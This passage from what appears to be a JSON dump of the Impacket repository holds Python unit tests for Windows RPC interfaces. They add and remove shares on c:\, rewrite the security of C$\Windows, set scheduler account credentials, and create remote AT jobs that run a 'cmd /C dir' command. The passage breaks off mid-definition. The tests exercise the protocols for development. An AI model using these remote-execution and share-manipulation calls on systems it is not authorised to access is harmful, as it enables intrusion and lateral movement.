shareInfo['shi2_netname'] = 'BETUSHARE\\x00'\n        shareInfo['shi2_type'] = 0\n        shareInfo['shi2_remark'] = 'My Remark\\x00'\n        shareInfo['shi2_max_uses'] = 0xFFFFFFFF\n        shareInfo['shi2_path'] = 'c:\\\\\\x00'\n        shareInfo['shi2_passwd'] = NULL\n        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)\n        resp.dump()\n\n        resp = srvs.hNetrShareDelStart(dce, 'BETUSHARE\\x00')\n        resp.dump()\n\n        resp = srvs.hNetrShareDelCommit(dce, resp['ContextHandle'])\n        resp.dump()\n\n    def test_NetrShareCheck(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareCheck()\n        request['ServerName'] = NULL\n        request['Device'] = 'C:\\\\\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrShareCheck(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrShareCheck(dce, 'C:\\\\\\x00')\n        resp.dump()\n\n    def test_NetrServerGetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerGetInfo()\n        request['ServerName'] = NULL\n        request['Level'] = 100\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 101\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 102\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 103\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 503\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerGetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrServerGetInfo(dce, 100)\n        resp.dump()\n\n        resp = srvs.hNetrServerGetInfo(dce, 101)\n        resp.dump()\n\n        resp = srvs.hNetrServerGetInfo(dce, 102)\n        resp.dump()\n\n        resp = srvs.hNetrServerGetInfo(dce, 103)\n        resp.dump()\n\n        resp = srvs.hNetrServerGetInfo(dce, 502)\n        resp.dump()\n\n        resp = srvs.hNetrServerGetInfo(dce, 503)\n        resp.dump()\n\n    def test_NetrServerDiskEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerDiskEnum()\n        request['ServerName'] = NULL\n        request['ResumeHandle'] = NULL\n        request['Level'] = 0\n        request['DiskInfoStruct']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerDiskEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrServerDiskEnum(dce, 0)\n        resp.dump()\n\n    def test_NetrServerStatisticsGet(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerStatisticsGet()\n        request['ServerName'] = NULL\n        request['Service'] = NULL\n        request['Level'] = 0\n        request['Options'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerStatisticsGet(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrServerStatisticsGet(dce, NULL, 0, 0)\n        resp.dump()\n\n    def test_NetrRemoteTOD(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrRemoteTOD()\n        request['ServerName'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrRemoteTOD(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrRemoteTOD(dce)\n        resp.dump()\n\n    def test_NetrServerTransportEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerTransportEnum()\n        request['ServerName'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        request['InfoStruct']['Level'] = 0\n        request['InfoStruct']['XportInfo']['tag'] = 0\n        request['InfoStruct']['XportInfo']['Level0']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 1\n        request['InfoStruct']['XportInfo']['tag'] = 1\n        request['InfoStruct']['XportInfo']['Level1']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 2\n        request['InfoStruct']['XportInfo']['tag'] = 2\n        request['InfoStruct']['XportInfo']['Level2']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerTransportEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrServerTransportEnum(dce, 0)\n        resp.dump()\n\n        resp = srvs.hNetrServerTransportEnum(dce, 1)\n        resp.dump()\n\n        resp = srvs.hNetrServerTransportEnum(dce, 2)\n        resp.dump()\n\n    def test_NetrpGetFileSecurity_NetrpSetFileSecurity(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrpGetFileSecurity()\n        request['ServerName'] = NULL\n        request['ShareName'] = 'C$\\x00'\n        request['lpFileName'] = '\\\\Windows\\x00'\n        request['RequestedInformation'] = OWNER_SECURITY_INFORMATION\n        resp = dce.request(request)\n        resp.dump()\n\n        req = srvs.NetrpSetFileSecurity()\n        req['ServerName'] = NULL\n        req['ShareName'] = 'C$\\x00'\n        req['lpFileName'] = '\\\\Windows\\x00'\n        req['SecurityInformation'] = OWNER_SECURITY_INFORMATION\n        req['SecurityDescriptor'] = resp['SecurityDescriptor']\n        resp = dce.request(req)\n        resp.dump()\n\n    def test_hNetrpGetFileSecurity_hNetrpSetFileSecurity(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrpGetFileSecurity(dce, 'C$\\x00',  '\\\\Windows\\x00', OWNER_SECURITY_INFORMATION)\n\n        resp = srvs.hNetrpSetFileSecurity(dce,'C$\\x00',  '\\\\Windows\\x00', OWNER_SECURITY_INFORMATION, resp)\n        resp.dump()\n\n    def test_NetprPathType(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprPathType()\n        request['ServerName'] = NULL\n        request['PathName'] = '\\\\pagefile.sys\\x00'\n        request['Flags'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprPathType(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprPathType(dce, '\\\\pagefile.sys\\x00', 1)\n        resp.dump()\n\n    def test_NetprPathCanonicalize(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprPathCanonicalize()\n        request['ServerName'] = NULL\n        request['PathName'] = '\\\\pagefile.sys\\x00'\n        request['OutbufLen'] = 50\n        request['Prefix'] = 'c:\\x00'\n        request['PathType'] = 0\n        request['Flags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprPathCanonicalize(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprPathCanonicalize(dce, '\\\\pagefile.sys\\x00', 'c:\\x00', 50, 0, 0)\n        resp.dump()\n\n    def test_NetprPathCompare(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprPathCompare()\n        request['ServerName'] = NULL\n        request['PathName1'] = 'c:\\\\pagefile.sys\\x00'\n        request['PathName2'] = 'c:\\\\pagefile.sys\\x00'\n        request['PathType'] = 0\n        request['Flags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprPathCompare(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprPathCompare(dce, 'c:\\\\pagefile.sys\\x00', 'c:\\\\pagefile.sys\\x00')\n        resp.dump()\n\n    def test_NetprNameValidate(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprNameValidate()\n        request['ServerName'] = NULL\n        request['Name'] = 'Administrator\\x00'\n        request['NameType'] = srvs.NAMETYPE_USER\n        request['Flags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprNameValidate(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprNameValidate(dce, 'Administrator\\x00', srvs.NAMETYPE_USER)\n        resp.dump()\n\n    def test_NetprNameCanonicalize(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprNameCanonicalize()\n        request['ServerName'] = NULL\n        request['Name'] = 'Administrator\\x00'\n        request['OutbufLen'] = 50\n        request['NameType'] = srvs.NAMETYPE_USER\n        request['Flags'] = 0x80000000\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprNameCanonicalize(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprNameCanonicalize(dce, 'Administrator\\x00', 50, srvs.NAMETYPE_USER, 0x80000000)\n        resp.dump()\n\n    def test_NetprNameCompare(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetprNameCompare()\n        request['ServerName'] = NULL\n        request['Name1'] = 'Administrator\\x00'\n        request['Name2'] = 'Administrator\\x00'\n        request['NameType'] = srvs.NAMETYPE_USER\n        request['Flags'] = 0x80000000\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetprNameCompare(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetprNameCompare(dce, 'Administrator\\x00', 'Administrator\\x00', srvs.NAMETYPE_USER, 0x80000000)\n        resp.dump()\n\n    def test_NetrDfsGetVersion(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsGetVersion()\n        request['ServerName'] = NULL\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if e.get_error_code() != 0x2:\n                raise\n\n    def test_hNetrDfsGetVersion(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = srvs.hNetrDfsGetVersion(dce)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if e.get_error_code() != 0x2:\n                raise\n\n    def test_NetrDfsModifyPrefix(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsModifyPrefix()\n        request['ServerName'] = NULL\n        request['Prefix'] = 'c:\\\\\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if e.get_error_code() != 0x32:\n                raise\n\n    def test_NetrDfsFixLocalVolume(self):\n        # This one I cannot make it work. It's only supported on w2k and xp\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsFixLocalVolume()\n        request['ServerName'] = NULL\n        request['VolumeName'] = r'\\??\\C:\\DfsShare'\n        request['EntryType'] = srvs.PKT_ENTRY_TYPE_LEAFONLY\n        request['ServiceType'] = srvs.DFS_SERVICE_TYPE_LOCAL\n        request['StgId'] = 'NONE\\x00'\n        request['EntryPrefix'] = 'c:\\\\\\x00'\n        request['RelationInfo']['Buffer']  = NULL\n        request['CreateDisposition'] = srvs.FILE_SUPERSEDE\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCException as e:\n            if str(e) != 'rpc_x_bad_stub_data':\n                raise\n\n    def test_NetrDfsManagerReportSiteInfo(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsManagerReportSiteInfo()\n        request['ServerName'] = NULL\n        request['ppSiteInfo'] = NULL\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrServerAliasAdd_NetrServerAliasDel(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerAliasAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 0\n        request['InfoStruct']['tag'] = 0\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\\x00'\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\\x00' % self.machine\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrServerAliasDel()\n        request['ServerName'] = NULL\n        request['Level'] = 0\n        request['InfoStruct']['tag'] = 0\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\\x00'\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\\x00' % self.machine\n        request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerAliasAdd_hNetrServerAliasDel(self):\n        dce, rpc_transport = self.connect()\n        aliasInfo = srvs.SERVER_ALIAS_INFO_0()\n        aliasInfo['srvai0_alias'] = 'BETOALIAS\\x00'\n        aliasInfo['srvai0_target'] = '%s\\x00' % self.machine\n        aliasInfo['srvai0_default'] = 0\n        resp = srvs.hNetrServerAliasAdd(dce, 0, aliasInfo)\n        resp.dump()\n\n        resp = srvs.hNetrServerAliasDel(dce, 0, aliasInfo)\n        resp.dump()\n\n    def test_NetrServerAliasEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerAliasEnum()\n        request['ServerName'] = NULL\n        request['InfoStruct']['Level'] = 0\n        request['InfoStruct']['ServerAliasInfo']['tag'] = 0\n        request['InfoStruct']['ServerAliasInfo']['Level0']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e) != 'ERROR_NOT_SUPPORTED':\n                raise\n\n    def test_hNetrServerAliasEnum(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = srvs.hNetrServerAliasEnum(dce, 0)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            print(e)\n            if str(e) != 'ERROR_NOT_SUPPORTED':\n                raise\n\n    def test_NetrShareDelEx(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 2\n        request['InfoStruct']['tag'] = 2\n        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY\n        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF\n        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\\\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDelEx()\n        request['ServerName'] = NULL\n        request['Level'] = 503\n        request['ShareInfo']['tag'] = 503\n        request['ShareInfo']['ShareInfo503']['shi503_netname'] ='BETUSHARE\\x00'\n        request['ShareInfo']['ShareInfo503']['shi503_type'] = srvs.STYPE_TEMPORARY\n        request['ShareInfo']['ShareInfo503']['shi503_remark'] = 'My Remark\\x00'\n        request['ShareInfo']['ShareInfo503']['shi503_permissions'] = 0\n        request['ShareInfo']['ShareInfo503']['shi503_max_uses'] = 0xFFFFFFFF\n        request['ShareInfo']['ShareInfo503']['shi503_current_uses'] = 0\n        request['ShareInfo']['ShareInfo503']['shi503_path'] = 'c:\\\\\\x00'\n        request['ShareInfo']['ShareInfo503']['shi503_passwd'] = NULL\n        request['ShareInfo']['ShareInfo503']['shi503_servername'] = NULL\n        request['ShareInfo']['ShareInfo503']['shi503_reserved'] = 0\n        request['ShareInfo']['ShareInfo503']['shi503_security_descriptor'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def ttt_NetrServerTransportAdd_NetrServerTransportDel(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerTransportAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 0\n        request['Buffer']['svti0_numberofvcs'] = 0\n        request['Buffer']['svti0_transportname'] = '\\\\Device\\\\NetbiosSmb\\x00'\n        request['Buffer']['svti0_transportaddress'] = list('%s' % self.machine)\n        request['Buffer']['svti0_transportaddresslength'] = len(request['Buffer']['svti0_transportaddress'])\n        request['Buffer']['svti0_networkaddress'] = '%s\\x00' % self.machine\n        resp = dce.request(request)\n        resp.dump()\n\n        req = srvs.NetrServerTransportDel()\n        req['ServerName'] = NULL\n        req['Level'] = 0\n        req['Buffer'] = request['Buffer']\n        resp = dce.request(req)\n        resp.dump()\n\n    def ttt_NetrServerTransportAddEx_NetrServerTransportDelEx(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrServerTransportAddEx()\n        request['ServerName'] = NULL\n        request['Level'] = 0\n        request['Buffer']['tag'] = 0\n        request['Buffer']['Transport0']['svti0_numberofvcs'] = 0\n        request['Buffer']['Transport0']['svti0_transportname'] = '\\\\Device\\\\NetbiosSmb\\x00'\n        request['Buffer']['Transport0']['svti0_transportaddress'] = list('%s' % self.machine)\n        request['Buffer']['Transport0']['svti0_transportaddresslength'] = len(request['Buffer']['Transport0']['svti0_transportaddress'])\n        request['Buffer']['Transport0']['svti0_networkaddress'] = '%s\\x00' % self.machine\n        resp = dce.request(request)\n        resp.dump()\n\n        req = srvs.NetrServerTransportDelEx()\n        req['ServerName'] = NULL\n        req['Level'] = 0\n        req['Buffer']['tag'] = 0\n        req['Buffer']['Transport0']  = request['Buffer']['Transport0']\n        resp = dce.request(req)\n        resp.dump()\n\n    def test_NetrDfsCreateLocalPartition(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsCreateLocalPartition()\n        request['ServerName'] = NULL\n        request['ShareName'] = 'C$\\x00'\n        #request['EntryUid'] = 0\n        request['EntryPrefix'] = 'c:\\\\\\x00'\n        request['ShortName'] = 'c:\\\\betus\\x00'\n        request['RelationInfo']['Buffer'] = NULL\n        request['Force'] = 0\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrDfsDeleteLocalPartition(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsDeleteLocalPartition()\n        request['ServerName'] = NULL\n        request['Prefix'] = 'c:\\\\\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrDfsSetLocalVolumeState(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsSetLocalVolumeState()\n        request['ServerName'] = NULL\n        request['Prefix'] = 'c:\\\\\\x00'\n        request['State'] = 0x80\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrDfsCreateExitPoint(self):\n        # Cannot make it work, supported only on w2k and xp\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsCreateExitPoint()\n        request['ServerName'] = NULL\n        request['Prefix'] = 'c:\\\\\\x00'\n        request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY\n        request['ShortPrefixLen'] = 50\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCException as e:\n            if str(e).find('rpc_x_bad_stub_data') < 0:\n                raise\n\n    def test_NetrDfsDeleteExitPoint(self):\n        # Cannot make it work, supported only on w2k and xp\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrDfsDeleteExitPoint()\n        request['ServerName'] = NULL\n        request['Prefix'] = 'c:\\\\\\x00'\n        request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n\n@pytest.mark.remote\nclass SRVSTestsSMBTransport(SRVSTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass SRVSTestsSMBTransport64(SRVSTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_tsch.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)NetrJobEnum\n#   (h)NetrJobAdd\n#   (h)NetrJobDel\n#   (h)NetrJobGetInfo\n#   (h)SASetAccountInformation\n#   (h)SASetNSAccountInformation\n#   (h)SAGetNSAccountInformation\n#   (h)SAGetAccountInformation\n#   (h)SchRpcHighestVersion\n#   (h)SchRpcRetrieveTask\n#   (h)SchRpcCreateFolder\n#   (h)SchRpcDelete\n#   (h)SchRpcEnumFolders\n#   (h)SchRpcEnumTasks\n#   (h)SchRpcEnumInstances\n#   (h)SchRpcRun\n#   (h)SchRpcGetInstanceInfo\n#   (h)SchRpcStopInstance\n#   (h)SchRpcStop\n#   (h)SchRpcRename\n#   (h)SchRpcScheduledRuntimes\n#   (h)SchRpcGetLastRunInfo\n#   (h)SchRpcGetTaskInfo\n#   (h)SchRpcGetNumberOfMissedRuns\n#   (h)SchRpcEnableTask\n#\n# Not yet:\n#   SchRpcRegisterTask\n#   SchRpcSetSecurity\n#   SchRpcGetSecurity\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import tsch, atsvc, sasec\nfrom impacket.dcerpc.v5.atsvc import AT_INFO\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.system_errors import ERROR_NOT_SUPPORTED\n\n\nclass ATSVCTests(DCERPCTests):\n    iface_uuid = atsvc.MSRPC_UUID_ATSVC\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\atsvc]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_NetrJobEnum(self):\n        dce, rpc_transport = self.connect()\n        request = atsvc.NetrJobEnum()\n        request['ServerName'] = NULL\n        request['pEnumContainer']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n    def test_hNetrJobEnum(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = atsvc.hNetrJobEnum(dce, NULL, NULL, 0xffffffff)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n    def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self):\n        dce, rpc_transport = self.connect()\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n        resp = atsvc.hNetrJobEnum(dce)\n        resp.dump()\n\n        for job in resp['pEnumContainer']['Buffer']:\n            resp = atsvc.hNetrJobDel(dce, NULL, job['JobId'], job['JobId'] )\n            resp.dump()\n\n    def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self):\n        dce, rpc_transport = self.connect()\n        request = atsvc.NetrJobAdd()\n        request['ServerName'] = NULL\n        request['pAtInfo']['JobTime'] = NULL\n        request['pAtInfo']['DaysOfMonth'] = 0\n        request['pAtInfo']['DaysOfWeek'] = 0\n        request['pAtInfo']['Flags'] = 0\n        request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n        request = atsvc.NetrJobEnum()\n        request['ServerName'] = NULL\n        request['pEnumContainer']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n\n        for job in resp['pEnumContainer']['Buffer']:\n            request = atsvc.NetrJobDel()\n            request['ServerName'] = NULL\n            request['MinJobId'] = job['JobId']\n            request['MaxJobId'] = job['JobId']\n            resp = dce.request(request)\n            resp.dump()\n\n    def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self):\n        dce, rpc_transport = self.connect()\n        request = atsvc.NetrJobAdd()\n        request['ServerName'] = NULL\n        request['pAtInfo']['JobTime'] = NULL\n        request['pAtInfo']['DaysOfMonth'] = 0\n        request['pAtInfo']['DaysOfWeek'] = 0\n        request['pAtInfo']['Flags'] = 0\n        request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n        request = atsvc.NetrJobGetInfo()\n        request['ServerName'] = NULL\n        request['JobId'] = resp['pJobId']\n        resp2 = dce.request(request)\n        resp2.dump()\n\n        request = atsvc.NetrJobDel()\n        request['ServerName'] = NULL\n        request['MinJobId'] = resp['pJobId']\n        request['MaxJobId'] = resp['pJobId']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self):\n        dce, rpc_transport = self.connect()\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n        resp2 = atsvc.hNetrJobGetInfo(dce, NULL, resp['pJobId'])\n        resp2.dump()\n\n        resp = atsvc.hNetrJobDel(dce, NULL, resp['pJobId'], resp['pJobId'])\n        resp.dump()\n\n\nclass SASECTests(DCERPCTests):\n    iface_uuid = sasec.MSRPC_UUID_SASEC\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\atsvc]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_SASetAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        request = sasec.SASetAccountInformation()\n        request['Handle'] = NULL\n        request['pwszJobName'] = 'MyJob.job\\x00'\n        request['pwszAccount'] = self.username + '\\0'\n        request['pwszPassword'] = self.password + '\\0'\n        request['dwJobFlags'] = sasec.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except sasec.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n    def test_hSASetAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = sasec.hSASetAccountInformation(dce, NULL, 'MyJob.job', self.username, self.password, 0)\n            resp.dump()\n        except sasec.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n    def test_SASetNSAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        request = sasec.SASetNSAccountInformation()\n        request['Handle'] = NULL\n        request['pwszAccount'] = self.username + '\\0'\n        request['pwszPassword'] = self.password + '\\0'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSASetNSAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        resp = sasec.hSASetNSAccountInformation(dce, NULL, self.username, self.password)\n        resp.dump()\n\n    def test_SAGetNSAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        request = sasec.SAGetNSAccountInformation()\n        request['Handle'] = NULL\n        request['ccBufferSize'] = 25\n        for i in range(request['ccBufferSize']):\n            request['wszBuffer'].append(0)\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSAGetNSAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        resp = sasec.hSAGetNSAccountInformation(dce, NULL, 25)\n        resp.dump()\n\n    def test_SAGetAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        request = sasec.SAGetAccountInformation()\n        request['Handle'] = NULL\n        request['pwszJobName'] = 'MyJob.job\\x00'\n        request['ccBufferSize'] = 15\n        for i in range(request['ccBufferSize']):\n            request['wszBuffer'].append(0)\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except sasec.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n    def test_hSAGetAccountInformation(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = sasec.hSAGetAccountInformation(dce, NULL, 'MyJob.job', 15)\n            resp.dump()\n        except sasec.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n\nclass TSCHTests(DCERPCTests):\n    iface_uuid = tsch.MSRPC_UUID_TSCHS\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\atsvc]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_SchRpcHighestVersion(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcHighestVersion()\n        resp = dce.request(request)\n        resp.dump()\n\n    def 